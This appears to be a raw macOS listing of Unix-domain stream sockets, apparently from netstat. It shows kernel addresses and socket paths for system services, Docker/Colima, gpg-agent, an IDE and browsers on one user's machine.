951380e87f07e604 0 0\n8f595cae5c3f9dd2 stream 0 0 0 e0cd7dffbcc15bd4 0 0 /var/run/mDNSResponder\n398a0fcd8d7fcb92 stream 0 0 0 82b78174601b7fad 0 0 /var/run/mDNSResponder\ne0cd7dffbcc15bd4 stream 0 0 0 8f595cae5c3f9dd2 0 0\n82b78174601b7fad stream 0 0 0 398a0fcd8d7fcb92 0 0\nc29bf0cb42f26c55 stream 0 0 0 ac69b48a8e3f5410 0 0 /var/run/mDNSResponder\nac69b48a8e3f5410 stream 0 0 0 c29bf0cb42f26c55 0 0\nb8a118295978e513 stream 0 0 0 fb0026b8ff0026e 0 0\n fb0026b8ff0026e stream 0 0 0 b8a118295978e513 0 0\n8036085cf27559d7 stream 0 0 0 3054b3192d8d4120 0 0\n3054b3192d8d4120 stream 0 0 0 8036085cf27559d7 0 0\n3e19732b6573d914 stream 0 0 0 8998267522bbd595 0 0\n8998267522bbd595 stream 0 0 0 3e19732b6573d914 0 0\ncf279b1e1d12fc27 stream 0 0 0 804fcce747db12cb 0 0\n804fcce747db12cb stream 0 0 0 cf279b1e1d12fc27 0 0\n6d8fcf31108bc2f3 stream 0 0 0 475596f07b92f84e 0 0\n475596f07b92f84e stream 0 0 0 6d8fcf31108bc2f3 0 0\nde8197bf38dc2296 stream 0 0 0 40c87f66d3dca9de 0 0\n40c87f66d3dca9de stream 0 0 0 de8197bf38dc2296 0 0\ne478926206dff919 stream 0 0 0 4cb7a552a99384b3 0 0\n4cb7a552a99384b3 stream 0 0 0 e478926206dff919 0 0\nf5167f26f29d3c0a stream 0 0 0 732de129f389d1f8 0 0\n732de129f389d1f8 stream 0 0 0 f5167f26f29d3c0a 0 0\n7501e1423e0ab6b3 stream 0 0 0 a5679e70ef61c91e 0 0\na5679e70ef61c91e stream 0 0 0 7501e1423e0ab6b3 0 0\n80fcdd22f8914ea3 stream 0 0 0 cfcf28de187ca93e 0 0\ncfcf28de187ca93e stream 0 0 0 80fcdd22f8914ea3 0 0\n86112e79f68b4042 stream 0 0 0 702db0d8fbd4cd00 0 0\n702db0d8fbd4cd00 stream 0 0 0 86112e79f68b4042 0 0\n1f290528ca600b62 stream 0 0 0 6fcbbf7af6403842 0 0\n6fcbbf7af6403842 stream 0 0 0 1f290528ca600b62 0 0\nc91cec9b18b518a6 stream 0 0 0 ba6bb13755ddb8fe 0 0\nba6bb13755ddb8fe stream 0 0 0 c91cec9b18b518a6 0 0\n794cb13caa69c048 stream 0 0 0 87d736f3b9a69a16 0 0\n87d736f3b9a69a16 stream 0 0 0 794cb13caa69c048 0 0\nf7ccca4dd436bcb6 stream 0 0 0 23c83994e45f5e8a 0 0\n23c83994e45f5e8a stream 0 0 0 f7ccca4dd436bcb6 0 0\n762495bd324fb55e stream 0 0 0 f21e92289f45753c 0 0\nf21e92289f45753c stream 0 0 0 762495bd324fb55e 0 0\n50800b884edb34a0 stream 0 0 0 4cb871bf44280523 0 0\n4cb871bf44280523 stream 0 0 0 50800b884edb34a0 0 0\n59931c36f8ce580b stream 0 0 0 a2366ffdac7b907c 0 0\na2366ffdac7b907c stream 0 0 0 59931c36f8ce580b 0 0\n29fdcaa96e34fdeb stream 0 0 0 d503490138e95d9b 0 0\nd503490138e95d9b stream 0 0 0 29fdcaa96e34fdeb 0 0\n97e544a3777ad0f9 stream 0 0 0 be0e5e993d55676 0 0\n be0e5e993d55676 stream 0 0 0 97e544a3777ad0f9 0 0\n421d079bfd664d68 stream 0 0 0 bf40b1f685c7905e 0 0\nbf40b1f685c7905e stream 0 0 0 421d079bfd664d68 0 0\n558272f534794365 stream 0 0 0 c2b596fa728174ec 0 0\nc2b596fa728174ec stream 0 0 0 558272f534794365 0 0\n8f145489c9cf0bd8 stream 0 0 0 c6bda5d8f1c4f00 0 0\n c6bda5d8f1c4f00 stream 0 0 0 8f145489c9cf0bd8 0 0\n636c4f6bdd130767 stream 0 0 0 d57347dd1643b48d 0 0\nd57347dd1643b48d stream 0 0 0 636c4f6bdd130767 0 0\ne3e9befaf50f58e0 stream 0 0 0 94ebff74d3ffe918 0 0\n94ebff74d3ffe918 stream 0 0 0 e3e9befaf50f58e0 0 0\n1375f263b7c41236 stream 0 0 0 6298be02068e474c 0 0\n6298be02068e474c stream 0 0 0 1375f263b7c41236 0 0\nb4ecb60497dadc3d stream 0 0 0 df3ccd77c8aef341 0 0\ndf3ccd77c8aef341 stream 0 0 0 b4ecb60497dadc3d 0 0\n51f5f9adb4872a5d stream 0 0 0 4937557e7f9b4b55 0 0\n4937557e7f9b4b55 stream 0 0 0 51f5f9adb4872a5d 0 0\n4bd2ff177126d8d0 stream 0 0 0 622d05dffa82ba1a 0 0\n622d05dffa82ba1a stream 0 0 0 4bd2ff177126d8d0 0 0\n26c6f383c2f7fc8d stream 0 0 0 745961da7903daad 0 0\n745961da7903daad stream 0 0 0 26c6f383c2f7fc8d 0 0\n92bd92bbfbd06683 stream 0 0 0 3cecff43d1533e42 0 0\n3cecff43d1533e42 stream 0 0 0 92bd92bbfbd06683 0 0\naf0fd97352d4ca48 stream 0 0 0 c0f05e573c725c7 0 0\n c0f05e573c725c7 stream 0 0 0 af0fd97352d4ca48 0 0\nedfb40a1cf9cb1b7 stream 0 0 0 5cd09f69617e6d23 0 0\n5cd09f69617e6d23 stream 0 0 0 edfb40a1cf9cb1b7 0 0\n9521f7918dd226c9 stream 0 0 0 4db2d9bb3bd221b9 0 0\n4db2d9bb3bd221b9 stream 0 0 0 9521f7918dd226c9 0 0\n1c22e297eb6d9f3c stream 0 0 0 8575527508d50b82 0 0\n8575527508d50b82 stream 0 0 0 1c22e297eb6d9f3c 0 0\na842ddefd429f850 stream 0 0 0 f7707f4d60602ef8 0 0\nf7707f4d60602ef8 stream 0 0 0 a842ddefd429f850 0 0\n884361ba49182564 stream 0 0 0 e211f62973badee9 0 0\ne211f62973badee9 stream 0 0 0 884361ba49182564 0 0\n637524021c4580cd stream 0 0 0 352ab623409e39d7 0 0\n352ab623409e39d7 stream 0 0 0 637524021c4580cd 0 0\n4f0ec02e69d0eae7 stream 0 0 0 78a37cb0304b1950 0 0\n78a37cb0304b1950 stream 0 0 0 4f0ec02e69d0eae7 0 0\ne991cec82abcc32f stream 0 0 0 c965c60f5f42289f 0 0 /var/run/mDNSResponder\nc965c60f5f42289f stream 0 0 0 e991cec82abcc32f 0 0\n4cdf963972b93efa stream 0 0 0 843617c17fdb3781 0 0 /var/run/mDNSResponder\n843617c17fdb3781 stream 0 0 0 4cdf963972b93efa 0 0\na291778e67174045 stream 0 0 0 f04dedee0f238fbf 0 0\nf04dedee0f238fbf stream 0 0 0 a291778e67174045 0 0\nc0a9349947a78e1c stream 0 0 0 a2c195e9f41394ae 0 0\na2c195e9f41394ae stream 0 0 0 c0a9349947a78e1c 0 0\nf848df70d9c0e234 stream 0 0 0 5e10152c936750e6 0 0\n5e10152c936750e6 stream 0 0 0 f848df70d9c0e234 0 0\n27af5b3d4c226a49 stream 0 0 0 560bfad2ce8bc593 0 0\n560bfad2ce8bc593 stream 0 0 0 27af5b3d4c226a49 0 0\n5b0554bd6f69ad7c stream 0 0 0 948eed25277a9d34 0 0\n948eed25277a9d34 stream 0 0 0 5b0554bd6f69ad7c 0 0\ne5eb1dc4a14cf53b stream 0 0 0 2cd44551b74ba596 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/datacloud-mcp-notebooks-antigravityide.sock\n2cd44551b74ba596 stream 0 0 0 e5eb1dc4a14cf53b 0 0\naf7937989c3c2c88 stream 0 0 0 32d33e7e8ef2194c 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/datacloud-mcp-context-antigravityide.sock\n32d33e7e8ef2194c stream 0 0 0 af7937989c3c2c88 0 0\nc15e536a1ccc99d7 stream 0 0 0 cbd5ffea8bbaee85 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/datacloud-mcp-visualization-antigravityide.sock\ncbd5ffea8bbaee85 stream 0 0 0 c15e536a1ccc99d7 0 0\n695ba366b6653504 stream 0 0 0 77d78a559d087ce9 0 0\n77d78a559d087ce9 stream 0 0 0 695ba366b6653504 0 0\nef566b0077787511 stream 0 0 0 8d878d3eeec925e8 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/datacloud-mcp-context-antigravityide.sock\n8d878d3eeec925e8 stream 0 0 0 ef566b0077787511 0 0\n277c21e188366a64 stream 0 0 0 785a4d8722ceb3f3 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/datacloud-mcp-visualization-antigravityide.sock\n785a4d8722ceb3f3 stream 0 0 0 277c21e188366a64 0 0\n2b3512c16d2f9d81 stream 0 0 0 42451ccc070fa50c 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/datacloud-mcp-notebooks-antigravityide.sock\n42451ccc070fa50c stream 0 0 0 2b3512c16d2f9d81 0 0\nfad276edf180574d stream 0 0 a209b378be697154 0 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/datacloud-mcp-context-antigravityide.sock\na6d238236865653c stream 0 0 d375bd0794921cb7 0 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/datacloud-mcp-visualization-antigravityide.sock\nd39ebc6642c4071b stream 0 0 dcff16d0e429ffdd 0 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/datacloud-mcp-notebooks-antigravityide.sock\n133534e344d4013d stream 0 0 0 d2607012573bf0c6 0 0\nd2607012573bf0c6 stream 0 0 0 133534e344d4013d 0 0\nbdfb0ef2295052c6 stream 0 0 0 76ecfbcea89b531 0 0\n 76ecfbcea89b531 stream 0 0 0 bdfb0ef2295052c6 0 0\n 6dbfd0b0fbc4fe0 stream 0 0 0 76b3fc1ddd7f3aee 0 0\n76b3fc1ddd7f3aee stream 0 0 0 6dbfd0b0fbc4fe0 0 0\n4c2aca1dc6e772fe stream 0 0 0 48e1c85afbf7ce96 0 0\n48e1c85afbf7ce96 stream 0 0 0 4c2aca1dc6e772fe 0 0\n1fdcde8e61573e39 stream 0 0 0 5cd29a3cbd91437e 0 0\n5cd29a3cbd91437e stream 0 0 0 1fdcde8e61573e39 0 0\n2aacc9d568f4bdb2 stream 0 0 0 5ad268b63e73b1ba 0 0\n5ad268b63e73b1ba stream 0 0 0 2aacc9d568f4bdb2 0 0\ne828b5c0e679230a stream 0 0 0 4b78f3d94562336 0 0\n 4b78f3d94562336 stream 0 0 0 e828b5c0e679230a 0 0\nf91e04f49cef1b13 stream 0 0 0 e8a09e3278466c0 0 0\n e8a09e3278466c0 stream 0 0 0 f91e04f49cef1b13 0 0\nb4acce8d51b0f1a6 stream 0 0 0 b98980a6a557dd1a 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/server_716623216a0d5a59\nb98980a6a557dd1a stream 0 0 0 b4acce8d51b0f1a6 0 0\n7109a85deb33c706 stream 0 0 0 e5bfae85b2b49655 0 0 /var/run/mDNSResponder\ne5bfae85b2b49655 stream 0 0 0 7109a85deb33c706 0 0\n63eee2396de2b38a stream 0 0 0 9976649a1ea99a1c 0 0 /var/run/mDNSResponder\n9976649a1ea99a1c stream 0 0 0 63eee2396de2b38a 0 0\n21488892ebf9f5cb stream 0 0 0 4198f2d7892a12c1 0 0\n4198f2d7892a12c1 stream 0 0 0 21488892ebf9f5cb 0 0\n57ca7a559463d6e8 stream 0 0 0 ea771a0ee6701022 0 0\nea771a0ee6701022 stream 0 0 0 57ca7a559463d6e8 0 0\n6dbe87e13d531306 stream 0 0 0 0 0 0\n655e7a3712934a57 stream 0 0 a2d65d6d030b868d 0 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/server_716623216a0d5a59\n2f30a1ae9405c32d stream 0 0 a2aaef23a717586a 0 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/vscode-git-070886cf48.sock\ne1ba6e90d302779b stream 0 0 0 11556018ac6179f8 0 0\n11556018ac6179f8 stream 0 0 0 e1ba6e90d302779b 0 0\nf89cddb495d27edb stream 0 0 0 ceec5583bb041a21 0 0\nceec5583bb041a21 stream 0 0 0 f89cddb495d27edb 0 0\n1697099c7804cec5 stream 0 0 0 9c88ecb6ff6a7b3f 0 0\n9c88ecb6ff6a7b3f stream 0 0 0 1697099c7804cec5 0 0\n 2b40cdf008e55fc stream 0 0 0 d7689e47876913bc 0 0\nd7689e47876913bc stream 0 0 0 2b40cdf008e55fc 0 0\n993735a4076b814b stream 0 0 0 109e047aa2e9c2d7 0 0 /var/run/mDNSResponder\n109e047aa2e9c2d7 stream 0 0 0 993735a4076b814b 0 0\n102fa69e909f6f26 stream 0 0 0 307adea7d1289668 0 0 /var/run/mDNSResponder\n307adea7d1289668 stream 0 0 0 102fa69e909f6f26 0 0\n6d06d55e1cab6f19 stream 0 0 0 3bf80542c28b431f 0 0 /var/run/mDNSResponder\n3bf80542c28b431f stream 0 0 0 6d06d55e1cab6f19 0 0\n2a366d0757f426ed stream 0 0 0 e9941dafe11ec643 0 0 /var/run/mDNSResponder\ne9941dafe11ec643 stream 0 0 0 2a366d0757f426ed 0 0\n9381678e242524f1 stream 0 0 0 576266be549cc7a7 0 0 /var/run/mDNSResponder\n576266be549cc7a7 stream 0 0 0 9381678e242524f1 0 0\nf5f234609b987f47 stream 0 0 0 81b8926f5e8addd5 0 0 /var/run/mDNSResponder\n81b8926f5e8addd5 stream 0 0 0 f5f234609b987f47 0 0\n7fcca5ab2d48613f stream 0 0 0 2bf62214eb856370 0 0 /var/run/mDNSResponder\n2bf62214eb856370 stream 0 0 0 7fcca5ab2d48613f 0 0\na4b1a131fcd38588 stream 0 0 0 65cab9cf5ee6bc5c 0 0 /var/run/mDNSResponder\n65cab9cf5ee6bc5c stream 0 0 0 a4b1a131fcd38588 0 0\nf305b4e311cb14a6 stream 0 0 0 45911aebc4c92e7b 0 0 /var/run/mDNSResponder\n45911aebc4c92e7b stream 0 0 0 f305b4e311cb14a6 0 0\nbf932d14054de925 stream 0 0 0 e441a2a96974f0e7 0 0 /var/run/mDNSResponder\ne441a2a96974f0e7 stream 0 0 0 bf932d14054de925 0 0\n288075794e5608b2 stream 0 0 0 f29b0f4f78b89493 0 0 /var/run/mDNSResponder\nf29b0f4f78b89493 stream 0 0 0 288075794e5608b2 0 0\na2bfe31aeb107a9f stream 0 0 0 e7cff8b7b4247a87 0 0 /var/run/mDNSResponder\ne7cff8b7b4247a87 stream 0 0 0 a2bfe31aeb107a9f 0 0\n7cd940301d941497 stream 0 0 0 117a76a5b01e5403 0 0 /var/run/mDNSResponder\n117a76a5b01e5403 stream 0 0 0 7cd940301d941497 0 0\n9eeebcb378e45a57 stream 0 0 0 d20c073c5fdf85a 0 0 /var/run/mDNSResponder\n d20c073c5fdf85a stream 0 0 0 9eeebcb378e45a57 0 0\ne1e8394dfe37119a stream 0 0 0 e3d182345e08ae64 0 0 /var/run/mDNSResponder\ne3d182345e08ae64 stream 0 0 0 e1e8394dfe37119a 0 0\na51e0b971d5c595a stream 0 0 0 59a5638edbc2d19f 0 0 /var/run/mDNSResponder\n59a5638edbc2d19f stream 0 0 0 a51e0b971d5c595a 0 0\n60eaf46632028db6 stream 0 0 0 4bd259f42e16a29 0 0\n 4bd259f42e16a29 stream 0 0 0 60eaf46632028db6 0 0\nb04f58fd3cb28dfe stream 0 0 0 be7ec4efbc930f80 0 0\nbe7ec4efbc930f80 stream 0 0 0 b04f58fd3cb28dfe 0 0\n5502a0b28b264249 stream 0 0 0 0 0 0\n2209d68e3d902e86 stream 0 0 0 75950ba81303cfa5 0 0 /var/run/mDNSResponder\n75950ba81303cfa5 stream 0 0 0 2209d68e3d902e86 0 0\nae6a190e6f436e76 stream 0 0 d6131f1baa943eac 0 0 0 /Users/drjones/Library/Application Support/Antigravity IDE/1.10-main.sock\n14d5470e63d2e598 stream 0 0 0 e3177386ab2712b0 0 0 /var/run/mDNSResponder\ne3177386ab2712b0 stream 0 0 0 14d5470e63d2e598 0 0\n7b1187c28e455b3b stream 0 0 0 bd4c2fa151a0d376 0 0 /var/run/mDNSResponder\nbd4c2fa151a0d376 stream 0 0 0 7b1187c28e455b3b 0 0\ncf535d933194ed01 stream 0 0 0 dd4c22cac05e7b11 0 0 /var/run/mDNSResponder\ndd4c22cac05e7b11 stream 0 0 0 cf535d933194ed01 0 0\n44c599f545095eb8 stream 0 0 0 d2633eff46538857 0 0 /var/run/mDNSResponder\nd2633eff46538857 stream 0 0 0 44c599f545095eb8 0 0\n3749bdcf4a4a9547 stream 0 0 0 3bc2d45c7e20e682 0 0 /var/run/mDNSResponder\n3bc2d45c7e20e682 stream 0 0 0 3749bdcf4a4a9547 0 0\n713ed323b9ec8c5b stream 0 0 0 1cc39606fa3f2e10 0 0 /var/run/mDNSResponder\n1cc39606fa3f2e10 stream 0 0 0 713ed323b9ec8c5b 0 0\n4ae987186dbad681 stream 0 0 0 9d934f15e908afb6 0 0 /var/run/mDNSResponder\n9d934f15e908afb6 stream 0 0 0 4ae987186dbad681 0 0\n 95af5e38a735242 stream 0 0 0 96f7562e7994a2fc 0 0 /var/run/mDNSResponder\n96f7562e7994a2fc stream 0 0 0 95af5e38a735242 0 0\nd7968671514e18f7 stream 0 0 0 dd60c312c93d8dd8 0 0 /var/run/mDNSResponder\ndd60c312c93d8dd8 stream 0 0 0 d7968671514e18f7 0 0\n4b37584c6a9d7089 stream 0 0 0 243a4e8b2521e144 0 0\n243a4e8b2521e144 stream 1082 0 0 4b37584c6a9d7089 0 0\n44755260bd82e7b2 stream 0 0 0 b8c6d93384c7dec7 0 0\nb8c6d93384c7dec7 stream 0 0 0 44755260bd82e7b2 0 0\nd393df08590d4775 stream 0 0 0 99b62df93a2c8061 0 0\n99b62df93a2c8061 stream 0 0 0 d393df08590d4775 0 0\nea2c020b8d37c4f3 stream 0 0 0 18b9ecef601f003f 0 0 /var/run/mDNSResponder\n18b9ecef601f003f stream 0 0 0 ea2c020b8d37c4f3 0 0\nfdf1f6d08d484b52 stream 0 0 0 3f2c6f9c67789638 0 0 /var/run/mDNSResponder\n3f2c6f9c67789638 stream 0 0 0 fdf1f6d08d484b52 0 0\n3105ea9840d5253a stream 0 0 0 d33197c133ca7ed 0 0\n d33197c133ca7ed stream 0 0 0 3105ea9840d5253a 0 0\na3631a239463e1d1 stream 0 0 0 e8d6d25bd7f171b5 0 0 /var/run/mDNSResponder\n6af919f429c583b1 stream 0 0 0 c2418eed888b126e 0 0 /var/run/mDNSResponder\ne8d6d25bd7f171b5 stream 0 0 0 a3631a239463e1d1 0 0\nc2418eed888b126e stream 0 0 0 6af919f429c583b1 0 0\nc4c0e2b4175c883c stream 0 0 0 13e9071e579e30d5 0 0 /var/run/mDNSResponder\nbf2fe9162a2ef723 stream 0 0 0 32981a0df9f4793f 0 0 /var/run/mDNSResponder\n13e9071e579e30d5 stream 0 0 0 c4c0e2b4175c883c 0 0\n32981a0df9f4793f stream 0 0 0 bf2fe9162a2ef723 0 0\n 20315ebcc89d5ba stream 0 0 0 8860dbb7b7ef80d8 0 0 /var/run/mDNSResponder\n8860dbb7b7ef80d8 stream 0 0 0 20315ebcc89d5ba 0 0\nc58392504e8ac7c3 stream 0 0 0 e1ef27edfb58895c 0 0 /var/run/mDNSResponder\ne1ef27edfb58895c stream 0 0 0 c58392504e8ac7c3 0 0\ncb42cfc7eab077aa stream 0 0 735e3e9ac3a9fe32 0 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/org.chromium.Chromium.BKDxrg/SingletonSocket\nd9a3382c6b2af767 stream 0 0 0 edd28542be1d96ac 0 0 /var/run/mDNSResponder\nedd28542be1d96ac stream 0 0 0 d9a3382c6b2af767 0 0\n626b63f034abe50c stream 0 0 0 bf40858f9b7d14e6 0 0\nbf40858f9b7d14e6 stream 0 0 0 626b63f034abe50c 0 0\nce0179f63e626322 stream 0 0 0 670335edd372d078 0 0 /var/run/mDNSResponder\n670335edd372d078 stream 0 0 0 ce0179f63e626322 0 0\nd645f5818fc13563 stream 0 0 0 4d0762e223b69f91 0 0 /var/run/mDNSResponder\n4d0762e223b69f91 stream 0 0 0 d645f5818fc13563 0 0\nb568dcaa85a130a9 stream 0 0 0 dfee88967e5b1696 0 0 /var/run/mDNSResponder\ndfee88967e5b1696 stream 0 0 0 b568dcaa85a130a9 0 0\n593a5990faf9a7d2 stream 0 0 f3ac94d798c27657 0 0 0 /Users/drjones/.obsidian-cli.sock\n891625dee6120b6e stream 0 0 20290350abf6d243 0 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/scoped_dirBrbNkW/SingletonSocket\na2949cddcf6fa7a2 stream 0 0 0 19a52b6fe14bc22 0 0 /var/run/mDNSResponder\n 19a52b6fe14bc22 stream 0 0 0 a2949cddcf6fa7a2 0 0\n83c374de620adc9c stream 0 0 0 623393737d5a0c6 0 0 /var/run/mDNSResponder\n 623393737d5a0c6 stream 0 0 0 83c374de620adc9c 0 0\n ff8bc42ce104189 stream 0 0 0 7a5271340d2420b1 0 0 /var/run/usbmuxd\n7a5271340d2420b1 stream 0 0 0 ff8bc42ce104189 0 0\nc915d6c544e5ee16 stream 0 0 0 6a6ab60d718aac85 0 0 /var/run/mDNSResponder\n6a6ab60d718aac85 stream 0 0 0 c915d6c544e5ee16 0 0\n54f889401d968147 stream 0 0 0 97945eb69ca24c1d 0 0 /var/run/mDNSResponder\n97945eb69ca24c1d stream 0 0 0 54f889401d968147 0 0\ne7cd2a82a1d558f3 stream 0 0 0 fc0b28e92414aa7f 0 0 /var/run/usbmuxd\nfc0b28e92414aa7f stream 0 0 0 e7cd2a82a1d558f3 0 0\n37a74b218f724e70 stream 0 0 0 402f893819a2a0ed 0 0 /var/run/mDNSResponder\n402f893819a2a0ed stream 0 0 0 37a74b218f724e70 0 0\n11dccb797e4d7b31 stream 0 0 0 709edbeef8ae3471 0 0 /var/run/mDNSResponder\n709edbeef8ae3471 stream 0 0 0 11dccb797e4d7b31 0 0\nb366024cd39081cb stream 0 0 0 d8184c13176e6ae4 0 0 /var/run/mDNSResponder\nd8184c13176e6ae4 stream 0 0 0 b366024cd39081cb 0 0\n95bc8b2e1f1a383a stream 0 0 0 c68fba6c67cae8b8 0 0 /var/run/mDNSResponder\nc68fba6c67cae8b8 stream 0 0 0 95bc8b2e1f1a383a 0 0\n7d268d00d823107d stream 0 0 0 f7de5200f8a529ad 0 0 /var/run/mDNSResponder\nf7de5200f8a529ad stream 0 0 0 7d268d00d823107d 0 0\n4e4a487fe6baa869 stream 0 0 0 fcb18ccc9314a7f0 0 0\nfcb18ccc9314a7f0 stream 0 0 0 4e4a487fe6baa869 0 0\ne4b9983c95c6eb09 stream 0 0 0 58635fb746fc37ca 0 0\n58635fb746fc37ca stream 0 0 0 e4b9983c95c6eb09 0 0\n391a815be124fe04 stream 0 0 0 bca7531a7e631647 0 0 /var/run/mDNSResponder\nbca7531a7e631647 stream 0 0 0 391a815be124fe04 0 0\n2236968955aa2e8c stream 0 0 0 d63371d91c314a2f 0 0 /var/run/mDNSResponder\nd63371d91c314a2f stream 0 0 0 2236968955aa2e8c 0 0\n10b3c927b06e89a6 stream 0 0 0 d8f0f16f867e7076 0 0 /var/run/mDNSResponder\nd8f0f16f867e7076 stream 0 0 0 10b3c927b06e89a6 0 0\n5d6ca0ac40ee39e6 stream 0 0 0 607fb26e50ff89a5 0 0 /var/run/mDNSResponder\n607fb26e50ff89a5 stream 0 0 0 5d6ca0ac40ee39e6 0 0\n f0f5123a1b58c73 stream 0 0 0 e327def2757ae352 0 0 /var/run/mDNSResponder\ne327def2757ae352 stream 0 0 0 f0f5123a1b58c73 0 0\n56736f5a54760c4f stream 0 0 0 c88ab7e421d28b20 0 0 /var/run/mDNSResponder\nc88ab7e421d28b20 stream 0 0 0 56736f5a54760c4f 0 0\nd080dcad8c95e365 stream 0 0 0 9be84222ec38d9d2 0 0 /var/run/mDNSResponder\n9be84222ec38d9d2 stream 0 0 0 d080dcad8c95e365 0 0\nfbd685d198144f6f stream 0 0 0 592aef9c626a93f3 0 0 /var/run/mDNSResponder\n592aef9c626a93f3 stream 0 0 0 fbd685d198144f6f 0 0\nd62dc3508324bf1c stream 0 0 c70ffe1c557854d9 0 0 0 /Users/drjones/.gnupg/S.gpg-agent.ssh\n8079cd4f4cf7cc9a stream 0 0 7642d023f60ae4c0 0 0 0 /Users/drjones/.gnupg/S.gpg-agent.browser\n865aac71a7bbeb7b stream 0 0 e6082e0de7cff5b 0 0 0 /Users/drjones/.gnupg/S.gpg-agent.extra\ne417c9b9b1dba1c4 stream 0 0 11b8fa9e64fc4c7c 0 0 0 /Users/drjones/.gnupg/S.gpg-agent\n8d80398f6255d66f stream 0 0 0 6599428e7a3c66b5 0 0 /var/run/usbmuxd\n6599428e7a3c66b5 stream 0 0 0 8d80398f6255d66f 0 0\n93fb0e130783fa5e stream 0 0 0 264698d14cdbb493 0 0 /var/run/usbmuxd\n264698d14cdbb493 stream 0 0 0 93fb0e130783fa5e 0 0\na21a0c50f3e00eea stream 0 0 0 c3ab5d8cb6502c59 0 0 /var/run/usbmuxd\nc3ab5d8cb6502c59 stream 0 0 0 a21a0c50f3e00eea 0 0\n8b2cde1bf225b5fe stream 0 0 0 94a9d7be1463a54f 0 0 /var/run/mDNSResponder\n94a9d7be1463a54f stream 0 0 0 8b2cde1bf225b5fe 0 0\nf31b4c5b4d410db2 stream 0 0 0 16a58833eb8d6066 0 0 /var/run/mDNSResponder\n16a58833eb8d6066 stream 0 0 0 f31b4c5b4d410db2 0 0\n4fce22fc16677b89 stream 0 0 0 86ed6f4831c5a361 0 0 /var/run/mDNSResponder\n86ed6f4831c5a361 stream 0 0 0 4fce22fc16677b89 0 0\n79a1b275b2909935 stream 0 0 0 5fe6fe404da00869 0 0 /var/run/mDNSResponder\n5fe6fe404da00869 stream 0 0 0 79a1b275b2909935 0 0\n7857e7912452cbd2 stream 0 0 0 67596254c8cdc3f2 0 0\n67596254c8cdc3f2 stream 0 0 0 7857e7912452cbd2 0 0\nf6914b3c7b680ca1 stream 0 0 0 28c9cc8ffb96194 0 0 /var/run/mDNSResponder\n 28c9cc8ffb96194 stream 0 0 0 f6914b3c7b680ca1 0 0\n 600012d5bd6aebe stream 0 0 0 d1295f38f626d03c 0 0\nd1295f38f626d03c stream 0 0 0 600012d5bd6aebe 0 0\n60a01769f20a0f14 stream 0 0 0 6239ccbf492fa812 0 0 /var/run/mDNSResponder\n6239ccbf492fa812 stream 0 0 0 60a01769f20a0f14 0 0\nec42de8385bd568e stream 0 0 0 b73185a76ec30e05 0 0 /var/run/mDNSResponder\nb73185a76ec30e05 stream 0 0 0 ec42de8385bd568e 0 0\n1c38122fe97f8e0b stream 0 0 0 a6db94fb62e8c244 0 0 /var/run/mDNSResponder\na6db94fb62e8c244 stream 0 0 0 1c38122fe97f8e0b 0 0\n87cd56d3733a8a4f stream 0 0 0 bb227a18fc43302f 0 0\nbb227a18fc43302f stream 0 0 0 87cd56d3733a8a4f 0 0\ne715cac32686a027 stream 0 0 0 27617e7068412753 0 0\n27617e7068412753 stream 0 0 0 e715cac32686a027 0 0\n84ece1ece5838432 stream 0 0 0 0 0 0\nb505c2ff3a1ad1bc stream 0 0 31eb9ced48da7f5 0 0 0 /var/folders/2l/fzxkbw4j4xq0tmfvy63_nvkr0000gn/T/scoped_dir4EkjAY/SingletonSocket\n5c9d6a7dafa75684 stream 0 0 0 fbbe2430a11c8a08 0 0 /var/run/mDNSResponder\nfbbe2430a11c8a08 stream 0 0 0 5c9d6a7dafa75684 0 0\n4477c108bdecd616 stream 0 0 0 21373b32931b8023 0 0 /var/run/usbmuxd\n21373b32931b8023 stream 0 0 0 4477c108bdecd616 0 0\neca721928633cf30 stream 0 0 0 22525eeba4c1d726 0 0 /var/run/usbmuxd\n22525eeba4c1d726 stream 0 0 0 eca721928633cf30 0 0\n11dcf01b7cb19bd6 stream 0 0 0 e900ad49166efad2 0 0 /var/run/usbmuxd\ne900ad49166efad2 stream 0 0 0 11dcf01b7cb19bd6 0 0\n6a503a05c8f7d31b stream 0 0 0 22a9d23d9680743c 0 0 /var/run/usbmuxd\n22a9d23d9680743c stream 0 0 0 6a503a05c8f7d31b 0 0\n33ae8c7c2bb7bd64 stream 0 0 0 19889c6e50ca2139 0 0 /var/run/usbmuxd\n19889c6e50ca2139 stream 0 0 0 33ae8c7c2bb7bd64 0 0\n6c6562a04204af2a stream 0 0 1b492330cc65f539 0 0 0 /var/run/usbmuxd\n6945bbe75052a8ed stream 0 0 cf79c66ef708e154 0 0 0 /tmp/lima-psl-127.0.0.1-53-2565019737/sock\n330542ef84d347dd stream 0 0 0 7445c4cfecb70a20 0 0\n7445c4cfecb70a20 stream 0 0 0 330542ef84d347dd 0 0\n276654ca53e06141 stream 0 0 e93c64addc16fad5 0 0 0 /Users/drjones/.colima/docker.sock\nbf1aadfb8086a715 stream 0 0 f12f8210cdcafd33 0 0 0 /Users/drjones/.colima/default/containerd.sock\n f78edb0c23f00d5 stream 0 0 607189a613ad2920 0 0 0 /Users/drjones/.colima/default/docker.sock\n6d8c0e82b9064988 stream 0 0 ca49eaad30b88c3c 0 0 0 /Users/drjones/.colima/_lima/colima/ssh.sock.F4uEyMilQQMrYyJp\nacbd5fbb55d706d4 stream 0 0 0 a6490f7af2a47288 0 0 /var/run/mDNSResponder\na6490f7af2a47288 stream 0 0 0 acbd5fbb55d706d4 0 0\n8be9edbde6afa7dc stream 0 0 1375d8b316e61660 0 0 0 